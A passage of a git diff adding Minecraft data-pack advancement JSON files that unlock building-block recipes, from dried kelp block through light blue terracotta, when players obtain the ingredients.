b/src/data/minecraft/advancements/recipes/building_blocks/dried_kelp_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dried_kelp_block" + ] + }, + "criteria": { + "has_dried_kelp": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dried_kelp" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dried_kelp_block" + } + } + }, + "requirements": [ + [ + "has_dried_kelp", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/emerald_block.json b/src/data/minecraft/advancements/recipes/building_blocks/emerald_block.json new file mode 100644 index 00000000..b7fd6ef7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/emerald_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:emerald_block" + ] + }, + "criteria": { + "has_emerald": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:emerald" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:emerald_block" + } + } + }, + "requirements": [ + [ + "has_emerald", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab.json new file mode 100644 index 00000000..36f689a9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_slab" + ] + }, + "criteria": { + "has_end_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_slab" + } + } + }, + "requirements": [ + [ + "has_end_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab_from_end_stone_brick_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab_from_end_stone_brick_stonecutting.json new file mode 100644 index 00000000..37b20c66 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab_from_end_stone_brick_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_slab_from_end_stone_brick_stonecutting" + ] + }, + "criteria": { + "has_end_stone_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_slab_from_end_stone_brick_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab_from_end_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab_from_end_stone_stonecutting.json new file mode 100644 index 00000000..b98d9c46 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_slab_from_end_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_slab_from_end_stone_stonecutting" + ] + }, + "criteria": { + "has_end_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_slab_from_end_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs.json new file mode 100644 index 00000000..2c3cf5b9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_stairs" + ] + }, + "criteria": { + "has_end_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_end_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs_from_end_stone_brick_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs_from_end_stone_brick_stonecutting.json new file mode 100644 index 00000000..95b21692 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs_from_end_stone_brick_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_stairs_from_end_stone_brick_stonecutting" + ] + }, + "criteria": { + "has_end_stone_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_stairs_from_end_stone_brick_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs_from_end_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs_from_end_stone_stonecutting.json new file mode 100644 index 00000000..c9e479cf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_brick_stairs_from_end_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_stairs_from_end_stone_stonecutting" + ] + }, + "criteria": { + "has_end_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_stairs_from_end_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_bricks.json new file mode 100644 index 00000000..1377d08a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_bricks" + ] + }, + "criteria": { + "has_end_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_bricks" + } + } + }, + "requirements": [ + [ + "has_end_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/end_stone_bricks_from_end_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_bricks_from_end_stone_stonecutting.json new file mode 100644 index 00000000..fa4b7531 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/end_stone_bricks_from_end_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_bricks_from_end_stone_stonecutting" + ] + }, + "criteria": { + "has_end_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_bricks_from_end_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/glass.json b/src/data/minecraft/advancements/recipes/building_blocks/glass.json new file mode 100644 index 00000000..aef4d70c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:glass" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:sand" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:glass" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/glowstone.json b/src/data/minecraft/advancements/recipes/building_blocks/glowstone.json new file mode 100644 index 00000000..f9d15f15 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/glowstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:glowstone" + ] + }, + "criteria": { + "has_glowstone_dust": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glowstone_dust" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:glowstone" + } + } + }, + "requirements": [ + [ + "has_glowstone_dust", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/gold_block.json b/src/data/minecraft/advancements/recipes/building_blocks/gold_block.json new file mode 100644 index 00000000..eb09ac74 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/gold_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gold_block" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_block" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/granite.json b/src/data/minecraft/advancements/recipes/building_blocks/granite.json new file mode 100644 index 00000000..e0e1f622 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/granite.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite" + ] + }, + "criteria": { + "has_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite" + } + } + }, + "requirements": [ + [ + "has_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/granite_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/granite_slab.json new file mode 100644 index 00000000..dff843fd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/granite_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite_slab" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite_slab" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/granite_slab_from_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/granite_slab_from_granite_stonecutting.json new file mode 100644 index 00000000..8eb895e6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/granite_slab_from_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite_slab_from_granite_stonecutting" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite_slab_from_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/granite_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/granite_stairs.json new file mode 100644 index 00000000..abff4cc9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/granite_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite_stairs" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite_stairs" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/granite_stairs_from_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/granite_stairs_from_granite_stonecutting.json new file mode 100644 index 00000000..2d786a65 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/granite_stairs_from_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite_stairs_from_granite_stonecutting" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite_stairs_from_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/gray_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/gray_concrete_powder.json new file mode 100644 index 00000000..e00e53ed --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/gray_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/gray_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/gray_stained_glass.json new file mode 100644 index 00000000..37ca7380 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/gray_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/gray_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/gray_terracotta.json new file mode 100644 index 00000000..b04e0917 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/gray_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/gray_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/gray_wool.json new file mode 100644 index 00000000..6848b114 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/gray_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/green_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/green_concrete_powder.json new file mode 100644 index 00000000..ad9b3683 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/green_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/green_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/green_stained_glass.json new file mode 100644 index 00000000..c945f2c6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/green_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/green_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/green_terracotta.json new file mode 100644 index 00000000..81b1c113 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/green_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/green_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/green_wool.json new file mode 100644 index 00000000..a669a92b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/green_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/hay_block.json b/src/data/minecraft/advancements/recipes/building_blocks/hay_block.json new file mode 100644 index 00000000..a8738493 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/hay_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:hay_block" + ] + }, + "criteria": { + "has_wheat": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:wheat" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:hay_block" + } + } + }, + "requirements": [ + [ + "has_wheat", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/iron_block.json b/src/data/minecraft/advancements/recipes/building_blocks/iron_block.json new file mode 100644 index 00000000..4d01cade --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/iron_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_block" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_block" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/jack_o_lantern.json b/src/data/minecraft/advancements/recipes/building_blocks/jack_o_lantern.json new file mode 100644 index 00000000..6f071c36 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/jack_o_lantern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jack_o_lantern" + ] + }, + "criteria": { + "has_carved_pumpkin": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:carved_pumpkin" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jack_o_lantern" + } + } + }, + "requirements": [ + [ + "has_carved_pumpkin", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/jungle_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/jungle_planks.json new file mode 100644 index 00000000..a3198bf6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/jungle_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_planks" + ] + }, + "criteria": { + "has_logs": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:jungle_logs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_planks" + } + } + }, + "requirements": [ + [ + "has_logs", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/jungle_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/jungle_slab.json new file mode 100644 index 00000000..faa56b12 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/jungle_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/jungle_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/jungle_stairs.json new file mode 100644 index 00000000..c82d6a78 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/jungle_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/jungle_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/jungle_wood.json new file mode 100644 index 00000000..6c943724 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/jungle_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/lapis_block.json b/src/data/minecraft/advancements/recipes/building_blocks/lapis_block.json new file mode 100644 index 00000000..81ae669d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/lapis_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lapis_block" + ] + }, + "criteria": { + "has_lapis": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lapis_lazuli" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lapis_block" + } + } + }, + "requirements": [ + [ + "has_lapis", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_blue_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_concrete_powder.json new file mode 100644 index 00000000..e62c1b0c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_blue_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_stained_glass.json new file mode 100644 index 00000000..73a18d00 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_blue_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_terracotta.json new file mode 100644 index 00000000..91251361 --- /dev/null +++ 